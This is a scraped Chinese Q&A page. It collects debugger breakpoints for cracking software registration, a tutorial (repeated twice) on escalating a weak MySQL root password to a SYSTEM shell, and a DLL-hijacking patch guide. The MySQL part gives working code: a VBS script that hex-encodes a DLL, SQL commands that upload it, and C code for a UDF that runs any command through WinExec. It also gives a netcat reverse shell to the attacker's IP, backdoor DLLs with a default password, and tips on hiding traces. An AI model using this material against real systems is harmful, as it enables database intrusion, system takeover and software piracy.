  以前收集的看看有用没  拦截NAG:  bp DialogBoxParamA ;NAG (函数DialogBoxParamA产生NAG,EndDialog结束NAG,EndDialog它是根据DialogID的push参数来关掉相应的对话框  DialogBoxParam函数原型,有5个参数。  int DialogBoxParam(  HINSTANCE hInstance, // 应用程序实例句柄 0040107C  LPCTSTR lpTemplateName, // 对话框模板指针 2  HWND hWndParent, // 父窗口句柄 null  DLGPROC lpDialogFunc, // 对话框处理函数指针 null  LPARAM dwInitParam // 初始化值 400000  );  返回值:如果成功就返回nResult参数,用EndDialog结束对话框:失败则返回-1  BP EndDialog  bpx hmemcpy ;破解万能断点,拦截内存拷贝动作(注意:Win9x专用断点)  bpx Lockmytask ;当你用其它断点都无效时可以试一下,这个断点拦截按键的动作(Win9x专用)  实在找不到断点可以试下面的方法:  bmsg handle wm_gettext ;拦截注册码(handle为对应窗口的句柄)  bmsg handle wm_command ;拦截OK按钮(handle为对应窗口的句柄)    拦截窗口:  bpx CreateWindow ;创建窗口  bpx CreateWindowEx(A/W) ;创建窗口  bpx ShowWindow ;显示窗口  bpx UpdateWindow ;更新窗口  bpx GetWindowText(A/W) ;获取窗口文本(程序多数会用 GetWindowTextA, GetDlgItemTextA 这类 API 来得到文字方块里的字符串。)  拦截消息框:  bpx MessageBox(A/W) 创建消息框;(当我们输入错误序号的时候,程序会弹出一 个失败信息,这个信息由MessageBoxA 所提供。假若我 们要分析算法,便需要在 GetWindowTextA 下断,一步 一步跟踪。现在我们想从内存中找出序号,比较  快速的方法是在 MessageBoxA 下断。    bpx MessageBoxExA(W) ;创建消息框  bpx MessageBoxIndirect(A/W) ;创建定制消息框  拦截警告声:  bpx MessageBeep ;发出系统警告声(如果没有声卡就直接驱动系统喇叭发声)  拦截对话框:  bpx DialogBox ;创建模态对话框  bpx DialogBoxParam(A/W) ;创建模态对话框  bpx DialogBoxIndirect ;创建模态对话框  bpx DialogBoxIndirectParam(A/W) ;创建模态对话框  bpx CreateDialog ;创建非模态对话框  bpx CreateDialogParam(A/W) ;创建非模态对话框  bpx CreateDialogIndirect ;创建非模态对话框  bpx CreateDialogIndirectParam(A/W) ;创建非模态对话框  bpx GetDlgItemText(A/W) ;获取对话框文本  bpx GetDlgItemInt ;获取对话框整数值  拦截剪贴板:  bpx GetClipboardData ;获取剪贴板数据  拦截注册表:  bpx RegOpenKey(A/W) ;打开子健 ( 例:bpx RegOpenKey(A) if *(esp->8)=="****" )  bpx RegOpenKeyExA(W) ;打开子健 ( 例:bpx RegOpenKeyEx if *(esp->8)=="****" )  bpx RegQueryValue(A/W) ;查找子健 ( 例:bpx RegQueryValue(A) if *(esp->8)=="****" )  bpx RegQueryValueEx(A/W) ;查找子健 ( 例:bpx RegQueryValueEx if *(esp->8)=="****" )  bpx RegSetValue(A/W) ;设置子健 ( 例:bpx RegSetValue(A) if *(esp->8)=="****" )  bpx RegSetValueEx(A/W) ;设置子健 ( 例:bpx RegSetValueEx(A) if *(esp->8)=="****" )  注意:"****"为指定子键名的前4个字符,如子键为"Regcode",则"****"= "Regc"  功能限制拦截断点:  bpx EnableMenuItem ;禁止或允许菜单项  bpx EnableWindow ;禁止或允许窗口,按钮  bmsg hMenu wm_command ;拦截菜单按键事件,其中hMenu为菜单句柄  bpx K32Thk1632Prolog ;配合bmsg hMenu wm_command使用,可以通过这个断点进入菜单处理程序  应用示例:  CALL [KERNEL32!K32Thk1632Prolog]  CALL [......] <-- 由此跟踪进入菜单处理程序  CALL [KERNEL32!K32Thk1632Epilog]  拦截时间:  bpx GetLocalTime ;获取本地时间  bpx GetSystemTime ;获取系统时间  bpx GetFileTime ;获取文件时间  bpx GetTickCount ;获得自系统成功启动以来所经历的毫秒数  bpx GetCurrentTime ;获取当前时间(16位)  bpx SetTimer ;创建定时器  bpx TimerProc ;定时器超时回调函数  拦截文件:  bp GetPrivateProfileStringA 拦INI文件写入,重启验证用到  bpx CreateFileA(W) ;创建或打开文件 (32位)(自效验用)  bpx GetFileSize 大小(自效验用)  Bp FindFirstFileA 自效验用  bpx OpenFile ;打开文件 (32位)  bpx SetFilePointer  bpx ReadFile ;读文件 (32位)  bpx WriteFile ;写文件 (32位)  bpx _lcreat ;创建或打开文件 (16位)  bpx _lopen ;打开文件 (16位)  bpx _lread ;读文件 (16位)  bpx _lwrite ;写文件 (16位)  bpx _hread ;读文件 (16位)  bpx _hwrite ;写文件 (16位)  拦截驱动器:  bpx GetDrivetype(A/W) ;获取磁盘驱动器类型  bpx GetLogicalDrives ;获取逻辑驱动器符号  bpx GetLogicalDriveStringsA(W) ;获取当前所有逻辑驱动器的根驱动器路径  拦截狗:  bpio -h 378(或278、3BC) R ;378、278、3BC是并行打印端口  bpio -h 3F8(或2F8、3E8、2E8) R ;3F8、2F8、3E8、2E8是串行端口  VB程序专用断点:  bpx msvbvm60!rtcMsgBox  bpx msvbvm60!__vbaStrCmp 比较字符串是否相等  bpx msvbvm60!__vbaStrComp 比较字符串是否相等  bpx msvbvm60!__vbaStrCompVar  bpx msvbvm60!__vbaStrTextCmp  bpx msvbvm60!__vbaFileOpen  bpx msvbvm60!__vbaInputFile  bpx msvbvm60!__vbaFileSeek  bpx msvbvm60!__vbaWriteFile  bpx msvbvm60!__vbaFileClose  bpx msvbvm60!rtcFileAttributes  bpx msvbvm60!rtcFileDateTime  bpx msvbvm60!rtcFileLen  bpx msvbvm60!rtcFileLength  bpx msvbvm60!__vbaVarInt  bpx msvbvm60!__vbaVarCmpGe  bpx msvbvm60!__vbaVarCmpGt  bpx msvbvm60!__vbaVarCmpLe  bpx msvbvm60!__vbaVarCmpLt  bpx msvbvm60!__vbaVarCmpNe  bpx msvbvm60!__vbaVarTextCmpEq  bpx msvbvm60!__vbaVarTextCmpGe  bpx msvbvm60!__vbaVarTextCmpGt  bpx msvbvm60!__vbaVarTextCmpLe  bpx msvbvm60!__vbaVarTextCmpLt  bpx msvbvm60!__vbaVarTextCmpNe  bpx msvbvm60!__vbaVarTextTstEq  bpx msvbvm60!__vbaVarTextTstGe  bpx msvbvm60!__vbaVarTextTstGt  bpx msvbvm60!__vbaVarTextTstLe  bpx msvbvm60!__vbaVarTextTstLt  bpx msvbvm60!__vbaVarTextTstNe  bpx msvbvm60!__vbaVarTstEq 比较变量是否相等  bpx msvbvm60!__vbaVarTstGe  bpx msvbvm60!__vbaVarTstGt  bpx msvbvm60!__vbaVarTstLe  bpx msvbvm60!__vbaVarTstLt  bpx msvbvm60!__vbaVarTstNe 比较变量是否不相等  bpx msvbvm50!__vbaStrCopy复制字符串  bpx msvbvm50!__vbaStrMove 移动字符串  bpx MultiByteToWideChar ANSI字符串转换成Unicode字符串  bpx WideCharToMultiByte Unicode字符串转换成ANSI字符串  bp vbaVarTstEq  bp rtcMsgBox  注意:VB程序仍然可以使用普通API函数,只要函数“最终”CALL了这个函数  上面的断点对应VB6程序,如果是VB5程序则将msvbvm60改成msvbvm50即可  找万能断点方法:  1.用OD载入目标程序Crackme(见上面附件)  2.Ctrl+N打开当前模块中的名称,或鼠标右键-->搜索-->当前模块中的名称;  选中USER32.DLL中的函数TranslateMessage。  3.在此函数上按鼠标右键-->"在导入中条件记录断点",在"条件"下面的框中  添入MSG==201(不工作就设为202),"表达"添MSG,选中"条件满足时暂停  程序",点"确定"。  4.F9运行程序,填入用户名,按Tab键跳到注册码框(别用鼠标点,记住用Tab键),填入假注册 麻,点"OK",OD将停在所下条件断点上  5.Alt+M打开内存镜像,鼠标右键-->搜索(或Ctrl+B),在弹出窗口中ASCII栏中  输入上面所填"假注册码",点"确定"搜索。  6.在找到的假注册码位置下"内存访问断点"。  7.F9,断在那儿的地址就是你机器的万能断点  BPX HMEMCPY 注册码破解的万能中断点  BPX CREATEWINDOWEX 开窗拦截中断,可用来破解时间过期程式  BPX LOCKMYTASK ErrorFree试出来的,当你找不到合适的中断时,可试试它,它是拦截你按一个按钮的动作.  BPX GETDLGITEMTEXT 注册码拦截中断,对于有的程式并不生效,它在取码时发生中断.  BPX DIALOGBOX 拦截对话框中断,16位程式  BPX DIALOGBOXPARAM 拦截对话框中断,32位程式  BPX MESSAGEBOX 拦截发送信息中断  BPX UPDATEWINDOW 我试出来的中断之一  BPX GETMESSAGE 我试出来的中断之二
2023-07-05 03:09:172

winxp有自带的刻录功能机,但是不能自动刻录了,想下载刻录软件,

用NERO吧!现在很多人都在用!下载地址:http://dl.pconline.com.cn/html/1/9/dlid=329&dltypeid=1&pn=0&.html
2023-07-05 03:09:243

无线网络AES的密钥怎么破解?

别想了,WPA2-PSK下的AES和TKIP是现在这世界上最强的加密方式,破解只存才与理论层面,用的最先进的HASH,也就是哈希算法,你可以去网络络上自己查查,HASH用的是不可逆的散列方式进行单向不可逆算法加解密。有人做过实验,WPA2是理论课破解的,但是时间需要很长,可在这短时间里,WPA2会自动更换密钥,所以破解根本没戏别听网络络上人瞎说,被破解的肯定是自己没设置好 先蹭网就破wep的去吧 就这个能破 别的加密 想都不要想了 啊
2023-07-05 03:09:443

哪有供联系用的CRACKME,本人想练习破解

看雪论坛http://bbs.pediy.com/
2023-07-05 03:09:512

如何利用弱口令入侵MySQL数据库

首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include <stdlib.h> #include <winsock.h> #include <mysql.h> extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include <stdlib.h> #include <windows.h> #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。
2023-07-05 03:09:581

请帮忙看看这几条UDF命令是什么意思

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include #include #include extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include #include #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。 好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?
2023-07-05 03:10:051

DLL文件劫持应该怎么办 急啊

DLL当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行,如图18.4。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。184.gif利用这种方法取得控制权后,可以对主程序进行补丁。此种方法只对除kernel32.dll, ntdll.dll等核心系统库以外的DLL有效,如网络应用程序的ws2_32.dll,游戏程序中的d3d8.dll,还有大部分应用程序都调用的lpk.dll,这些DLL都可被劫持。利用5.6.2章提供的CrackMeNet.exe来演示一下如何利用劫持技术制作补丁,目标文件用Themida v1.9.2.0加壳保护。1.补丁地址去除这个CrackMe网络验证方法参考第5章,将相关补丁代码存放到函数PatchProcess( )里。例如将401496h改成:代码:00401496 EB 29 jmp short 004014C1补丁编程实现就是:代码: unsigned char p401496[2] = {0xEB, 0x29};WriteProcessMemory(hProcess,(LPVOID)0x401496, p401496, 2, NULL);p401496这个数组的数据格式,可以用OllyDBG插件获得,或十六进制工具转换。例如Hex Workshop打开文件,执行菜单Edit/Copy As/Source即可得到相应的代码格式。2.构建输出函数查看实例CrackMeNet.exe输入表,会发现名称为ws2_32.dll的DLL,因此构造一个同名的DLL来完成补丁任务。伪造的ws2_32.dll有着真实ws2_32.dll一样的输出函数,完整源码见光盘。实现时,可以利用DLL模块中的函数转发器来实现这个目标,其会将对一个函数的调用转至另一个DLL中的另一个函数。可以这样使用一个pragma指令:代码:#pragma comment(linker, "/EXPORT:SomeFunc=DllWork.someOtherFunc")这个pragma告诉链接程序,被编译的DLL应该输出一个名叫SomeFunc的函数。但是SomeFunc函数的实现实际上位于另一个名叫SomeOtherFunc的函数中,该函数包含在称为DllWork. dll的模块中。如要达到劫持DLL的目的,生成的DLl输出函数必须与目标DLL输出函数名一样,本例可以这样构造pragma指令:代码:#pragma comment(linker, "/EXPORT:WSAStartup=_MemCode_WSAStartup,@115")编译后的DLL,会有与ws2_32.dll同名的一个输出函数WSAStartup,实际操作时,必须为想要转发的每个函数创建一个单独的pragma代码行,读者可以写一个工具或用其他办法,将ws2_32.dll输出函数转换成相应的pragma指令。当应用程序调用伪装ws2_32.dll的输出函数时,必须将其转到系统ws2_32.dl中去,这部分的代码自己实现。例如WSAStartup输出函数如下构造:代码: ALCDECL MemCode_WSAStartup(void){GetAddress("WSAStartup");__asm JMP EAX;//转到系统ws2_32.dll的WSAStartup输出函数}其中GetAddress()函数的代码如下:代码: // MemCode 命名空间namespace MemCode{HMODULE m_hModule = NULL; //原始模块句柄DWORD m_dwReturn[500] = {0}; //原始函数返回地址// 加载原始模块inline BOOL WINAPI Load(){TCHAR tzPath[MAX_PATH]={0};TCHAR tzTemp[MAX_PATH]={0};GetSystemDirectory(tzPath, sizeof(tzPath));strcat(tzPath,"\ws2_32.dll");m_hModule = LoadLibrary(tzPath);//加载系统系统目录下ws2_32.dllif (m_hModule == NULL){wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);}return (m_hModule != NULL); }// 释放原始模块inline VOID WINAPI Free(){if (m_hModule)FreeLibrary(m_hModule);}// 获取原始函数地址FARPROC WINAPI GetAddress(PCSTR pszProcName){FARPROC fpAddress;TCHAR szProcName[16]={0};TCHAR tzTemp[MAX_PATH]={0};if (m_hModule == NULL){if (Load() == FALSE)ExitProcess(-1);}fpAddress = GetProcAddress(m_hModule, pszProcName);if (fpAddress == NULL){if (HIWORD(pszProcName) == 0){wsprintf(szProcName, "%d", pszProcName);pszProcName = szProcName;}wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);ExitProcess(-2);}return fpAddress;}}using namespace MemCode;编译后,用LordPE查看伪造的ws2_32.dll输出函数,和真实ws2_32.dll完全一样,如图18.5所示。185.gif查看伪造的ws2_32.dll中任意一个输出函数,例如WSACleanup:代码: .text:10001CC0 ; int __stdcall WSACleanup().text:10001CC0 WSACleanup proc near.text:10001CC0 push offset aWsacleanup ;"WSACleanup".text:10001CC5 call sub_10001000 ;GetAddress(WSACleanup).text:10001CCA jmp eax.text:10001CCA WSACleanup endp会发现输出函数WSACleanup()首先调用GetAddress(WSACleanup),获得真实ws2_32.dll中WSACleanup的地址,然后跳过去执行,也就是说ws2_32.dll各输出函数被HOOK了。3.劫持输出函数ws2_32.dll有许多输出函数,经分析,程序发包或接包时,WSAStartup输出函数调用的比较早,因此在这个输出函数放上补丁的代码。代码如下:代码: ALCDECL MemCode_WSAStartup(void){hijack();GetAddress("WSAStartup");__asm JMP EAX; }hijack()函数主要是判断是不是目标程序,如是就调用PatchProcess()进行补丁。void hijack(){if (isTarget(GetCurrentProcess())) //判断主程序是不是目标程序,是则补丁之{PatchProcess(GetCurrentProcess());}}伪造的ws2_32.dll制作好后,放到程序当前目录下,这样当原程序调用WSASTartup函数时就调用了伪造的ws2_32.dll的WSASTartup函数,此时hijack()函数负责核对目标程序校验,并将相关数据补丁好,处理完毕后,转到系统目录下的ws2_32.dll执行。这种补丁技术,对加壳保护的软件很有效,选择挂接的函数最好是在壳中没有被调用,当挂接函数被执行时,相关的代码己被解压,可以直接补丁了。有些情况下,必须用计数器统计挂接的函数的调用次数来接近OEP。此方法巧妙地绕过了壳的复杂检测,很适合加壳程序的补丁制作。一些木马或病毒也会利用DLL劫持技术搞破坏,因此当在应用程序目录下发现系统一些DLL文件存在时,应引起注意。
2023-07-05 03:10:151

mysql udf函数怎么调用

1)基本用户定义函数是一类代码,对MYSQL服务器功能进行扩充,通过添加新函数,性质就象使用本地MYSQL函数abs()或concat().UDF是用C(或C++)写的。也许还可以用BASIC,.NET或其它什么虽然还没见过有人这么做。2)从字面上何以知道UDF是很有用的,尤其当需要扩展MYSQL服务器功能时。下表给出了最佳解决方法的比较:Method Speed Language Development 方法 速度 语言 开发Stored Procedures slow SQL ~minutes (for small functions) 存储过程 慢 SQL ~分钟(对于小函数)UDF fast C ~hour UDF 快 C ~小时Native Function fast C major pain in the ***本地函数 快 C 未知慢的意思是和其它比较时。存储过程和一般SQL语句比仍然是很快的。对本地函数的一点解释:本质上和UDF没太大区别。但是必须用MYSQL的资源代码来写然后重新编译全部。这将是很大的工作量,必须一边又一边的用最新版的MYSQL来完成这项工作。3)这部分很简单。当完成了一个UDF,只是使用它就可以了。例如:"SELECT MyFunction(data1, data2) FROM table"4)编写UDF现在开发写一个UDF:建立一个新的shared-library项目(该例中用的VC++ 6.0建立一个标准的DLL)首先需要一些头文件。这些头文件是标准的头文件和MYSQL服务器的包含目录里的文件#ifdef STANDARD/* STANDARD is defined, don"t use any mysql functions */#include <stdlib.h>#include <stdio.h>#include <string.h>#ifdef __WIN__typedef unsigned __int64 ulonglong; /* Microsofts 64 bit types */typedef __int64 longlong;#elsetypedef unsigned long long ulonglong;typedef long long longlong;#endif /*__WIN__*/#else#include <my_global.h>#include <my_sys.h>#endif#include <mysql.h>#include <ctype.h>static pthread_mutex_t LOCK_hostname; 